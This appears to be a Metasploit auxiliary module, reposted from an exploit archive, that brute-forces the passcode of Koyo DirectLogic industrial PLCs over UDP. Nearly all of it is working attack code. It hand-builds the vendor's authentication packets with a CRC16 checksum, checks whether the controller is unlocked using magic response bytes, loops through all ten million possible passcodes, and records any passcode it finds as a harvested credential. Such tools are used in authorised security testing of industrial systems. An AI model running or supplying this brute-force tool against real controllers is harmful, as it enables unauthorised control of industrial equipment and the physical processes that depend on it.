Share
## https://sploitus.com/exploit?id=PACKETSTORM:180947
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# msfdev is going to want a bunch of other stuff for style/compat but this works  
# TODO: Make into a real AuthBrute module, although the password pattern is fixed  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',  
'Description' => %q{  
This module attempts to authenticate to a locked Koyo DirectLogic PLC.  
The PLC uses a restrictive passcode, which can be A0000000 through A9999999.  
The "A" prefix can also be changed by the administrator to any other character,  
which can be set through the PREFIX option of this module.  
  
This module is based on the original 'koyobrute.rb' Basecamp module from  
DigitalBond.  
},  
'Author' =>  
[  
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module  
'todb' # Metasploit fixups  
],  
'DisclosureDate' => 'Jan 19 2012',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]  
]  
)  
  
register_options(  
[  
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),  
OptString.new('PREFIX', [true, 'The prefix to use for the password (default: A)', "A"]),  
Opt::RPORT(28784)  
])  
end  
  
@@CCITT_16 = [  
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,  
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,  
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,  
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,  
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,  
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,  
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,  
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,  
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,  
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,  
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,  
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,  
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,  
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,  
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,  
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,  
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,  
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,  
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,  
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,  
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,  
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,  
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,  
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,  
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,  
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,  
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,  
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,  
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,  
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,  
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,  
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0  
]  
  
def run_host(ip)  
  
# Create a socket in order to receive responses from a non-default IP  
@udp_sock = Rex::Socket::Udp.create(  
'PeerHost' => rhost,  
'PeerPort' => rport.to_i,  
'Context' => {'Msf' => framework, 'MsfExploit' => self}  
)  
add_socket(@udp_sock)  
  
print_status("#{rhost}:#{rport} - KOYO - Checking the controller for locked memory...")  
  
if unlock_check  
# TODO: Report a vulnerability for an unlocked controller?  
print_good("#{rhost}:#{rport} - Unlocked!")  
return  
else  
print_status("#{rhost}:#{rport} - KOYO - Controller locked; commencing bruteforce...")  
end  
  
# TODO: Consider sort_by {rand} in order to avoid sequential guessing  
# or something fancier  
  
(0..9999999).each do |i|  
passcode = datastore['PREFIX'] + i.to_s.rjust(7,'0')  
vprint_status("#{rhost}:#{rport} - KOYO - Trying #{passcode}")  
bytes = passcode.scan(/../).map { |x| x.to_i(16) }  
passstr = bytes.pack("C*")  
res = try_auth(passstr)  
next if not res  
  
print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}"  
report_cred(  
ip: rhost,  
port: rport.to_i,  
service_name: 'koyo',  
user: '',  
password: passcode,  
proof: res  
)  
break  
end  
  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'udp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def crc16(buf, crc=0)  
buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff }  
[crc].pack("v")  
end  
  
def unlock_check  
checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"  
@udp_sock.sendto(checkpacket, rhost, rport.to_i)  
  
recvpacks = 0  
# TODO: Since the packet count is critical, consider using Capture instead,  
# but that requires root which is mildly annoying and not cross-platform.  
# IOW, not a hugely good way to solve this via packet counting, given the nature  
# of UDP.  
#  
# Another way to speed things up is to use fancy threading, but that's for another  
# day.  
while (r = @udp_sock.recvfrom(65535, 0.1) and recvpacks < 2)  
res = r[0]  
if res.length == 269 # auth reply packet  
if res[17,1] == "\x00" and res[19,1] == "\xD2" # Magic bytes  
return true  
end  
end  
recvpacks += 1  
end  
return false  
end  
  
def try_auth(passstr)  
data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"  
header = "HAP"  
header += "\xe5\x01" # random session ID  
header += crc16(data)  
header += [data.length].pack("v")  
authpacket = header + data  
  
@udp_sock.sendto(authpacket, rhost, rport.to_i)  
  
2.times { @udp_sock.get(recv_timeout) } # talk to the hand  
  
status = unlock_check  
  
return status  
end  
  
def recv_timeout  
if datastore['RECV_TIMEOUT'].to_i.zero?  
3  
else  
datastore['RECV_TIMEOUT'].to_i.abs  
end  
end  
end